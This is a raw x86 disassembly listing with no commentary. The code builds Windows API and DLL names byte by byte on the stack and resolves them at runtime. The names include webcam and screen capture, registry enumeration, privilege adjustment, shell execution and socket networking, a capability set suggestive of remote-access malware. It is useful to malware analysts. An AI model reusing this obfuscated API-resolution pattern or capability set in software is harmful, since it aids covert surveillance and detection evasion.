call esi
push 0
push ebx
push 0x63
push ebp
push 0x6a
push 0x62
push 0x4f
push ebp
push 0x6c
push 0x67
push 0x6e
push 0x69
push 0x53
push 0x72
push 0x6f
push 0x46
push ebx
mov dword [edi + 0x6c], eax
push 0x69
push 0x61
lea eax, [esp + 0x64]
push 0x57
push eax
call fcn.004105f6
add esp, 0x54
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x6d
push 0x61
push 0x4e
push ebp
push 0x6c
push 0x69
push 0x46
push ebp
push 0x6c
push 0x75
push 0x64
push 0x6f
push 0x4d
mov dword [edi + 0x70], eax
push ebx
push ebp
lea eax, [esp + 0x60]
push 0x47
push eax
call fcn.004105f6
add esp, 0x50
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6c
push 0x69
push 0x46
push ebp
push ebx
mov dword [edi + 0x74], eax
push 0x69
push 0x72
lea eax, [esp + 0x3c]
push 0x57
push eax
call fcn.004105f6
add esp, 0x2c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x6e
push ebp
push 0x76
push 0x45
push ebx
push ebp
mov dword [edi + 0x78], eax
push 0x73
push ebp
lea eax, [esp + 0x40]
push 0x52
push eax
call fcn.004105f6
add esp, 0x30
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push ebx
push 0x63
push ebp
push 0x6a
push 0x62
push 0x4f
push ebp
push 0x6c
push 0x70
push 0x69
push ebx
push 0x6c
push 0x75
push 0x4d
push 0x72
push 0x6f
push 0x46
push ebx
mov dword [edi + 0x7c], eax
push 0x69
push 0x61
lea eax, [esp + 0x70]
push 0x57
push eax
call fcn.004105f6
add esp, 0x60
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x6d
push 0x61
push 0x4e
push 0x68
push ebx
push 0x61
push 0x50
push ebx
push 0x72
push 0x6f
push 0x68
push 0x53
mov dword [edi + 0x80], eax
push ebx
push ebp
lea eax, [esp + 0x5c]
push 0x47
push eax
call fcn.004105f6
add esp, 0x4c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
mov dword [edi + 0x84], eax
push 0
push 0x41
push 0x79
push 0x72
push 0x6f
push ebx
push 0x63
push ebp
push 0x72
push 0x69
push 0x44
push ebp
push ebx
push 0x61
push ebp
push 0x72
lea eax, [esp + 0x58]
push 0x43
push eax
call fcn.004105f6
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x6e
push 0x75
push 0x6f
push 0x43
push 0x6b
push 0x63
push 0x69
push 0x54
mov dword [edi + 0x88], eax
push ebx
push ebp
lea eax, [esp + 0x48]
push 0x47
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x73
push ebp
push ebx
push 0x75
push 0x62
push 0x69
push 0x72
push ebx
push ebx
push 0x41
push ebp
push 0x6c
push 0x69
push 0x46
mov dword [edi + 0x8c], eax
push ebx
push ebp
lea eax, [esp + 0x60]
push 0x53
push eax
call fcn.004105f6
add esp, 0x50
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x73
push ebp
mov dword [edi + 0x90], eax
push ebx
push 0x75
push 0x62
push 0x69
push 0x72
push ebx
push ebx
push 0x41
push ebp
push 0x6c
push 0x69
push 0x46
push ebx
push ebp
lea eax, [esp + 0x60]
push 0x47
push eax
call fcn.004105f6
add esp, 0x50
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push 0x61
push 0x68
push 0x43
push ebp
push 0x64
push 0x69
push 0x57
push 0x6f
push 0x54
push ebp
push ebx
push 0x79
push 0x42
push 0x69
push ebx
mov dword [edi + 0x94], eax
push 0x6c
push 0x75
lea eax, [esp + 0x64]
push 0x4d
push eax
call fcn.004105f6
add esp, 0x54
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x75
push ebx
push 0x61
push ebx
push 0x53
push 0x6e
push 0x6f
push 0x69
push ebx
push ebp
push 0x6c
push 0x70
push 0x6d
push 0x6f
push 0x43
push 0x64
push ebp
push 0x75
push ebp
push 0x75
push 0x51
mov dword [edi + 0x98], eax
push ebx
push ebp
lea eax, [esp + 0x7c]
push 0x47
push eax
call fcn.004105f6
add esp, 0x6c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x75
push ebx
push 0x61
push ebx
push 0x53
push 0x6e
push 0x6f
push 0x69
push ebx
push ebp
push 0x6c
push 0x70
push 0x6d
push 0x6f
push 0x43
push 0x64
push ebp
push 0x75
push ebp
push 0x75
push 0x51
push ebx
mov dword [edi + 0x9c], eax
push 0x73
push 0x6f
lea eax, [esp + 0x80]
push 0x50
push eax
call fcn.004105f6
add esp, 0x70
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x72
push 0x6f
mov dword [edi + 0xa0], eax
pop eax
push eax
push 0x50
push 0x6e
push eax
push 0x69
push ebx
push ebp
push 0x6c
push 0x70
push 0x6d
push eax
push 0x43
push eax
push 0x49
push ebp
push ebx
push 0x61
push ebp
push 0x72
lea eax, [esp + 0x70]
push 0x43
push eax
call fcn.004105f6
add esp, 0x60
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x70
mov dword [edi + 0xa4], eax
push 0x79
push 0x54
push ebp
push 0x76
push 0x69
push 0x72
push 0x44
push ebx
push ebp
lea eax, [esp + 0x4c]
push 0x47
push eax
call fcn.004105f6
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x6e
push 0x6f
push 0x69
push ebx
push 0x61
push 0x6d
push 0x72
push 0x6f
push 0x66
push 0x6e
push 0x49
push ebp
push 0x6d
push 0x75
push 0x6c
push 0x6f
push 0x56
mov dword [edi + 0xa8], eax
push ebx
push ebp
lea eax, [esp + 0x6c]
push 0x47
push eax
call fcn.004105f6
add esp, 0x5c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push ebp
push ebx
push 0x6e
push 0x69
push 0x6f
push 0x50
push ebp
push 0x6c
push 0x69
push 0x46
mov dword [edi + 0xac], eax
push ebx
push ebp
lea eax, [esp + 0x50]
push 0x53
push eax
call fcn.004105f6
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x6d
push 0x61
push 0x4e
push 0x68
mov dword [edi + 0xb0], eax
push ebx
push 0x61
push 0x50
push 0x67
push 0x6e
push 0x6f
push 0x4c
push ebx
push ebp
lea eax, [esp + 0x58]
push 0x47
push eax
call fcn.004105f6
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x6c
push 0x69
push 0x46
push ebx
push 0x78
push ebp
push 0x4e
push 0x64
mov dword [edi + 0xb4], eax
push 0x6e
push 0x69
lea eax, [esp + 0x4c]
push 0x46
push eax
call fcn.004105f6
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push 0x6f
push 0x69
push ebx
push 0x63
push ebp
push 0x53
push 0x6c
push 0x61
push 0x63
push 0x69
push ebx
push 0x69
push 0x72
push 0x43
push 0x72
push ebp
mov dword [edi + 0xb8], eax
push ebx
push 0x6e
lea eax, [esp + 0x68]
push 0x45
push eax
call fcn.004105f6
add esp, 0x58
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push 0x6f
push 0x69
push ebx
push 0x63
push ebp
push 0x53
push 0x6c
mov dword [edi + 0xbc], eax
push 0x61
push 0x63
push 0x69
push ebx
push 0x69
push 0x72
push 0x43
push ebp
push 0x76
push 0x61
push ebp
lea eax, [esp + 0x68]
push 0x4c
push eax
call fcn.004105f6
add esp, 0x58
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push 0x6f
push 0x69
push ebx
push 0x63
push ebp
push 0x53
push 0x6c
push 0x61
push 0x63
push 0x69
push ebx
push 0x69
push 0x72
push 0x43
push ebp
push ebx
push ebp
mov dword [edi + 0xc0], eax
push 0x6c
push ebp
lea eax, [esp + 0x6c]
push 0x44
push eax
call fcn.004105f6
add esp, 0x5c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push 0x6f
push 0x69
mov dword [edi + 0xc4], eax
pop eax
push eax
push ebx
push 0x63
push ebp
push 0x53
push 0x6c
push 0x61
push 0x63
push eax
push ebx
push eax
push 0x72
push 0x43
push ebp
push 0x7a
push eax
push 0x6c
push 0x61
push eax
push ebx
push eax
push 0x6e
lea eax, [esp + 0x7c]
push 0x49
push eax
call fcn.004105f6
add esp, 0x6c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
push 0x61
push ebp
push 0x72
push 0x68
push 0x54
push ebp
push 0x64
push 0x6f
push 0x43
push ebx
push 0x69
push 0x78
push 0x45
mov dword [edi + 0xc8], eax
push ebx
push ebp
lea eax, [esp + 0x5c]
push 0x47
push eax
call fcn.004105f6
add esp, 0x4c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push 0x6f
push 0x72
push 0x72
push 0x45
push ebx
push 0x73
push 0x61
push 0x4c
mov dword [edi + 0xcc], eax
push ebx
push ebp
lea eax, [esp + 0x48]
push 0x47
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x49
push 0x50
mov dword [edi + 0xd0], eax
push 0x41
push 0x53
lea eax, [esp + 0x104]
push 0x50
push eax
call fcn.004105f6
add esp, 0x2c
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x41
push 0x78
push 0x45
push ebp
push 0x6d
mov dword [esp + 0x28], eax
push 0x61
push 0x4e
push ebp
push 0x6c
push 0x69
push 0x46
push ebp
push 0x6c
push 0x75
push 0x64
push 0x6f
push 0x4d
push ebx
push ebp
lea eax, [esp + 0x68]
push 0x47
push eax
call fcn.004105f6
add esp, 0x58
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push ebp
push 0x6c
push 0x75
push 0x64
push 0x6f
push 0x4d
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push 0x6d
mov dword [edi + 0xd4], eax
push 0x75
push 0x6e
lea eax, [esp + 0x60]
push 0x45
push eax
call fcn.004105f6
add esp, 0x50
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x32
push 0x33
push 0x50
push 0x41
push 0x43
mov dword [edi + 0xd8], eax
push 0x49
push 0x56
lea eax, [esp + 0x110]
push 0x41
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x41
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
mov dword [esp + 0x30], eax
push ebp
push 0x72
push 0x75
push ebx
push 0x70
push 0x61
push 0x43
push ebp
push ebx
push 0x61
push ebp
push 0x72
push 0x43
push 0x70
push 0x61
lea eax, [esp + 0x74]
push 0x63
push eax
call fcn.004105f6
add esp, 0x64
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x6e
push 0x6f
push 0x69
push ebx
push 0x70
push 0x69
push 0x72
push 0x63
push 0x73
push ebp
push 0x44
push 0x72
push ebp
push 0x76
push 0x69
push 0x72
push 0x44
push ebx
push ebp
push 0x47
mov dword [edi + 0xdc], eax
push 0x70
push 0x61
lea eax, [esp + 0x78]
push 0x63
push eax
call fcn.004105f6
add esp, 0x68
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x32
push 0x33
push 0x49
push 0x50
push 0x41
mov dword [edi + 0xe0], eax
push 0x56
push 0x44
lea eax, [esp + 0x110]
push 0x41
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
mov dword [esp + 0x14], eax
push 0x79
push ebp
push 0x4b
push ebp
push 0x73
push 0x6f
push 0x6c
push 0x43
push 0x67
push ebp
lea eax, [esp + 0x44]
push 0x52
push eax
call fcn.004105f6
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x75
push 0x6c
push 0x61
push 0x56
push 0x6d
push 0x75
push 0x6e
push 0x45
mov dword [edi + 0xe4], eax
push 0x67
push ebp
lea eax, [esp + 0x4c]
push 0x52
push eax
call fcn.004105f6
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x79
push ebp
push 0x4b
push 0x6f
push 0x66
push 0x6e
push 0x49
push 0x79
push 0x72
push ebp
push 0x75
push 0x51
mov dword [edi + 0xe8], eax
push 0x67
push ebp
lea eax, [esp + 0x58]
push 0x52
push eax
call fcn.004105f6
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x78
push 0x45
push 0x79
push ebp
push 0x4b
push 0x6e
push ebp
push 0x70
push 0x4f
push 0x67
mov dword [edi + 0xec], eax
push ebp
lea eax, [esp + 0x4c]
push 0x52
push eax
call fcn.004105f6
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push ebp
push 0x6b
push 0x6f
push 0x54
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push 0x6e
mov dword [edi + 0xf0], eax
push ebp
push 0x70
lea eax, [esp + 0x58]
push 0x4f
push eax
call fcn.004105f6
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push ebp
push 0x67
push ebp
push 0x6c
push 0x69
push 0x76
push 0x69
push 0x72
push 0x50
push 0x6e
push ebp
push 0x6b
push 0x6f
push 0x54
push ebx
push 0x73
push 0x75
mov dword [edi + 0xf4], eax
push 0x6a
push 0x64
lea eax, [esp + 0x6c]
push 0x41
push eax
call fcn.004105f6
add esp, 0x5c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x75
push 0x6c
push 0x61
push 0x56
push ebp
push 0x67
push ebp
push 0x6c
push 0x69
push 0x76
mov dword [edi + 0xf8], eax
push 0x69
push 0x72
push 0x50
push 0x70
push 0x75
push 0x6b
push 0x6f
push 0x6f
lea eax, [esp + 0x6c]
push 0x4c
push eax
call fcn.004105f6
add esp, 0x5c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x4d
push 0x4d
mov dword [edi + 0xfc], eax
push 0x4e
push 0x49
lea eax, [esp + 0x104]
push 0x57
push eax
call fcn.004105f6
add esp, 0x2c
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push ebx
push 0x6e
push ebp
push 0x76
push 0x45
push ebx
push ebp
push 0x53
push ebp
mov dword [esp + 0x38], eax
push 0x6d
push 0x69
lea eax, [esp + 0x48]
push ebx
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x6e
push ebp
push 0x76
push 0x45
push 0x6c
push 0x6c
push 0x69
push 0x4b
push ebp
mov dword [edi + 0x100], eax
push 0x6d
push 0x69
lea eax, [esp + 0x4c]
push ebx
push eax
call fcn.004105f6
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
mov dword [edi + 0x104], eax
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x32
push 0x33
push 0x45
push 0x4c
lea eax, [esp + 0x104]
push 0x4f
push eax
call fcn.004105f6
add esp, 0x2c
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push ebp
push 0x7a
push 0x69
mov dword [esp + 0x20], eax
pop eax
push eax
push 0x6c
push 0x61
push eax
push ebx
push eax
push 0x6e
push eax
push 0x6e
push 0x55
push 0x6f
lea eax, [esp + 0x50]
push 0x43
push eax
call fcn.004105f6
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
push 0x69
push 0x75
push 0x47
push ebp
push ebx
push 0x61
push ebp
push 0x72
mov dword [edi + 0x108], eax
push 0x43
push 0x6f
lea eax, [esp + 0x48]
push 0x43
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x7a
push 0x69
push 0x6c
push 0x61
push 0x69
push ebx
push 0x69
push 0x6e
mov dword [edi + 0x10c], eax
push 0x49
push 0x6f
lea eax, [esp + 0x48]
push 0x43
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
mov dword [edi + 0x110], eax
pop eax
push eax
push eax
push 0x44
push 0x2e
push 0x32
push 0x33
push eax
push eax
push 0x45
push 0x48
lea eax, [esp + 0x10c]
push 0x53
push eax
call fcn.004105f6
add esp, 0x34
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x41
push 0x6e
push 0x6f
push 0x69
push ebx
push 0x61
push 0x72
push ebp
push 0x70
push 0x4f
push ebp
push 0x6c
push 0x69
mov dword [esp + 0x48], eax
push 0x46
push 0x48
lea eax, [esp + 0x58]
push 0x53
push eax
call fcn.004105f6
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push ebx
push 0x75
push 0x63
push ebp
push 0x78
push 0x45
push 0x6c
push 0x6c
mov dword [edi + 0x114], eax
push ebp
push 0x68
lea eax, [esp + 0x4c]
push 0x53
push eax
call fcn.004105f6
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
mov dword [edi + 0x118], eax
push 0x44
push 0x2e
push 0x32
push 0x33
push 0x5f
push 0x32
push 0x53
lea eax, [esp + 0x108]
push 0x57
push eax
call fcn.004105f6
add esp, 0x30
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x6c
push ebx
push 0x63
push 0x6f
push 0x49
mov dword [esp + 0x28], eax
push 0x41
push 0x53
lea eax, [esp + 0x38]
push 0x57
push eax
call fcn.004105f6
add esp, 0x28
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push ebp
push 0x6b
mov dword [edi + 0x11c], eax
push 0x63
push 0x6f
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105f6
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push ebp
push 0x6b
push 0x63
push 0x6f
push 0x73
push ebp
push 0x73
mov dword [edi + 0x120], eax
push 0x6f
push 0x6c
lea eax, [esp + 0x44]
push 0x63
push eax
call fcn.004105f6
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
mov dword [edi + 0x124], eax
push 0x6e
push 0x69
lea eax, [esp + 0x28]
push 0x62
push eax
call fcn.004105f6
add esp, 0x18
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6d
push 0x61
push 0x6e
push 0x79
push 0x62
push ebx
push 0x73
push 0x6f
push 0x68
mov dword [edi + 0x128], eax
push ebx
push ebp
lea eax, [esp + 0x4c]
push 0x67
push eax
call fcn.004105f6
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x70
push 0x75
push ebx
push 0x72
push 0x61
push ebx
push 0x53
mov dword [edi + 0x12c], eax
push 0x41
push 0x53
lea eax, [esp + 0x40]
push 0x57
push eax
call fcn.004105f6
add esp, 0x30
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x70
push 0x75
push 0x6e
push 0x61
push ebp
push 0x6c
push 0x43
mov dword [edi + 0x130], eax
push 0x41
push 0x53
lea eax, [esp + 0x40]
push 0x57
push eax
call fcn.004105f6
add esp, 0x30
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x6e
mov dword [edi + 0x134], eax
push 0x6f
push ebx
lea eax, [esp + 0x2c]
push 0x68
push eax
call fcn.004105f6
add esp, 0x1c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
mov dword [edi + 0x138], eax
push 0
push 0x6f
push ebx
push 0x64
push 0x6e
push ebp
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105f6
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x68
mov dword [edi + 0x13c], eax
push 0x6f
push ebx
lea eax, [esp + 0x2c]
push 0x6e
push eax
call fcn.004105f6
add esp, 0x1c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push 0x6f
push 0x72
push 0x72
push 0x45
push ebx
push 0x73
push 0x61
push 0x4c
push ebx
push ebp
push 0x47
mov dword [edi + 0x140], eax
push 0x41
push 0x53
lea eax, [esp + 0x54]
push 0x57
push eax
call fcn.004105f6
add esp, 0x44
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6d
push 0x6f
push 0x72
push 0x66
push 0x76
mov dword [edi + 0x144], eax
push 0x63
push ebp
lea eax, [esp + 0x38]
push 0x72
push eax
call fcn.004105f6
add esp, 0x28
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6d
push 0x61
push 0x6e
push 0x6b
mov dword [edi + 0x148], eax
push 0x63
push 0x6f
push 0x73
push ebx
push ebp
lea eax, [esp + 0x44]
push 0x67
push eax
call fcn.004105f6
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push 0x77
push 0x6f
push 0x64
push ebx
mov dword [edi + 0x14c], eax
push 0x75
push 0x68
lea eax, [esp + 0x38]
push 0x73
push eax
call fcn.004105f6
add esp, 0x28
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x63
push ebp
push 0x6e
mov dword [edi + 0x150], eax
push 0x6e
push 0x6f
lea eax, [esp + 0x34]
push 0x63
push eax
call fcn.004105f6
add esp, 0x24
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
mov dword [edi + 0x154], eax
push 0x6e
push ebp
lea eax, [esp + 0x28]
push 0x73
push eax
call fcn.004105f6
add esp, 0x18
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x76
mov dword [edi + 0x158], eax
push 0x63
push ebp
lea eax, [esp + 0x28]
push 0x72
push eax
call fcn.004105f6
add esp, 0x18
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6d
mov dword [edi + 0x15c], eax
push 0x61
push 0x6e
push ebx
push 0x73
push 0x6f
push 0x68
push ebx
push ebp
lea eax, [esp + 0x44]
push 0x67
push eax
call fcn.004105f6
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x32
push 0x33
mov dword [edi + 0x160], eax
push 0x49
push 0x44
lea eax, [esp + 0x104]
push 0x47
push eax
call fcn.004105f6
add esp, 0x2c
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push ebx
push 0x63
push ebp
push 0x6a
push 0x62
push 0x4f
push ebp
push ebx
push ebp
mov dword [esp + 0x38], eax
push 0x6c
push ebp
lea eax, [esp + 0x48]
push 0x44
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push ebx
push 0x69
push 0x42
push 0x49
push 0x44
mov dword [edi + 0x164], eax
push ebx
push ebp
lea eax, [esp + 0x3c]
push 0x47
push eax
call fcn.004105f6
add esp, 0x2c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebx
push 0x63
mov dword [edi + 0x168], eax
push ebp
push 0x6a
push 0x62
push 0x4f
push ebx
push ebp
lea eax, [esp + 0x40]
push 0x47
push eax
call fcn.004105f6
add esp, 0x30
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x6c
push 0x42
mov dword [edi + 0x16c], eax
push ebx
push 0x69
lea eax, [esp + 0x30]
push 0x42
push eax
call fcn.004105f6
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x63
push ebp
push 0x6a
push 0x62
push 0x4f
push ebx
push 0x63
push ebp
mov dword [edi + 0x170], eax
push 0x6c
push ebp
lea eax, [esp + 0x48]
push 0x53
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x43
push 0x44
push ebp
push 0x6c
push 0x62
push 0x69
push ebx
push 0x61
push 0x70
push 0x6d
push 0x6f
push 0x43
push ebp
push ebx
push 0x61
mov dword [edi + 0x174], eax
push ebp
push 0x72
lea eax, [esp + 0x60]
push 0x43
push eax
call fcn.004105f6
add esp, 0x50
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
mov dword [edi + 0x178], eax
push 0
push 0x70
push 0x61
push 0x6d
push ebx
push 0x69
push 0x42
push ebp
push 0x6c
push 0x62
push 0x69
push ebx
push 0x61
push 0x70
push 0x6d
push 0x6f
push 0x43
push ebp
push ebx
push 0x61
push ebp
push 0x72
lea eax, [esp + 0x70]
push 0x43
push eax
call fcn.004105f6
add esp, 0x60
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x43
push 0x44
push ebp
push ebx
push 0x61
mov dword [edi + 0x17c], eax
push ebp
push 0x72
lea eax, [esp + 0x3c]
push 0x43
push eax
call fcn.004105f6
add esp, 0x2c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x43
push 0x44
push ebp
push ebx
push ebp
mov dword [edi + 0x180], eax
push 0x6c
push ebp
lea eax, [esp + 0x38]
push 0x44
push eax
call fcn.004105f6
add esp, 0x28
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x53
push 0x55
push 0x4c
push 0x50
push 0x49
push 0x44
mov dword [edi + 0x184], eax
push 0x47
lea eax, [esp + 0x110]
push eax
call fcn.004105f6
add esp, 0x34
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x73
push 0x72
push ebp
push 0x64
push 0x6f
push 0x63
push 0x6e
push 0x45
push ebp
push 0x67
push 0x61
push 0x6d
push 0x49
push ebx
push ebp
push 0x47
push 0x70
mov dword [esp + 0x58], eax
push 0x69
push 0x64
lea eax, [esp + 0x68]
push 0x47
push eax
call fcn.004105f6
add esp, 0x58
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x7a
push 0x69
push 0x53
push 0x73
push 0x72
push ebp
push 0x64
push 0x6f
push 0x63
push 0x6e
push 0x45
push ebp
push 0x67
push 0x61
push 0x6d
push 0x49
push ebx
push ebp
push 0x47
push 0x70
mov dword [edi + 0x188], eax
push 0x69
push 0x64
lea eax, [esp + 0x78]
push 0x47
push eax
call fcn.004105f6
add esp, 0x68
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x67
push 0x61
push 0x6d
push 0x49
push ebp
push 0x73
mov dword [edi + 0x18c], eax
push 0x6f
push 0x70
push 0x73
push 0x69
push 0x44
push 0x70
push 0x69
push 0x64
lea eax, [esp + 0x58]
push 0x47
push eax
call fcn.004105f6
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6c
push 0x69
push 0x46
push 0x6f
push 0x54
push ebp
push 0x67
push 0x61
push 0x6d
push 0x49
push ebp
push 0x76
push 0x61
push 0x53
push 0x70
mov dword [edi + 0x190], eax
push 0x69
push 0x64
lea eax, [esp + 0x64]
push 0x47
push eax
call fcn.004105f6
add esp, 0x54
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6c
push 0x69
push 0x46
push 0x6d
push 0x6f
push 0x72
push 0x46
push ebp
push 0x67
push 0x61
